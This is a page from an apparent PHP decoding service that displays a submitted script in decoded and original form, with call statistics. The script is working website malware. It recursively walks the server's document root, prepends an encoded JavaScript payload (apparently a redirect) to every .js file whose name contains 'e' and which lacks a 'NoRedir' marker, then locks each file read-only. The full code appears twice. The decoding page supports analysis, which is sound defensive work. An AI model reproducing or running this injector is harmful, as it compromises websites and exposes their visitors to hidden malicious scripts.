Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php //galaxy //set_time_limit(0); //error_reporting(0); $ex7463 = $_SERVER['DOCUME..

Decoded Output download

<?php 
//galaxy 
//set_time_limit(0); 
//error_reporting(0); 
 
$ex7463 = $_SERVER['DOCUMENT_ROOT']; 
$ex9246   = "e"; 
 
 
//polimyr 
function ex8196( $ex7463, $ex9246){ 
 
	$ex7463 = rtrim( $ex7463, '/' );	 
    $text = "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";	 
	$dir = opendir( $ex7463 );  
	while( ($file = readdir($dir)) !== false ){ 
		$ex5471 = "$ex7463/$file"; 
		if( $file == '.' || $file == '..' ) continue; 
		if( is_file($ex5471) ){ 
				if( false !== strpos($file, $ex9246) && false !== strpos($file, '.js') ) { 
					chmod($ex5471, 0666); 
					$ex9026 = file_get_contents($ex5471); 
					$pos = strpos($ex9026, "NoRedir");				 
						if( $pos === false) {							 
							$ex9026 = base64_decode(strrev($text)) . $ex9026;  
							file_put_contents($ex5471, $ex9026 ."
"); 
							 
							chmod($ex5471, 0444);  
							 
							echo (" [FLFD] "); 
						} else echo (" [FLFD] MAIN WIDGET ");			 
			    }		    
		} 
		elseif(is_dir($ex5471)){ 
			$res = ex8196( $ex5471, $ex9246 ); 
		} 
	} 
	closedir($dir);  
	 
} 
//main 
ex8196( $ex7463, $ex9246); 
?>

Did this file decode correctly?

Original Code

<?php
//galaxy
//set_time_limit(0);
//error_reporting(0);

$ex7463 = $_SERVER['DOCUMENT_ROOT'];
$ex9246   = "e";


//polimyr
function ex8196( $ex7463, $ex9246){

	$ex7463 = rtrim( $ex7463, '/' );	
    $text = "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";	
	$dir = opendir( $ex7463 ); 
	while( ($file = readdir($dir)) !== false ){
		$ex5471 = "$ex7463/$file";
		if( $file == '.' || $file == '..' ) continue;
		if( is_file($ex5471) ){
				if( false !== strpos($file, $ex9246) && false !== strpos($file, '.js') ) {
					chmod($ex5471, 0666);
					$ex9026 = file_get_contents($ex5471);
					$pos = strpos($ex9026, "NoRedir");				
						if( $pos === false) {							
							$ex9026 = base64_decode(strrev($text)) . $ex9026; 
							file_put_contents($ex5471, $ex9026 ."\n");
							
							chmod($ex5471, 0444); 
							
							echo (" [FLFD] ");
						} else echo (" [FLFD] MAIN WIDGET ");			
			    }		   
		}
		elseif(is_dir($ex5471)){
			$res = ex8196( $ex5471, $ex9246 );
		}
	}
	closedir($dir); 
	
}
//main
ex8196( $ex7463, $ex9246);
?>

Function Calls

rtrim 1
ex8196 1

Variables

$ex7463 None
$ex9246 e

Stats

MD5 716ac1b2ee0f7bce5adb49c9acb88047
Eval Count 0
Decode Time 221 ms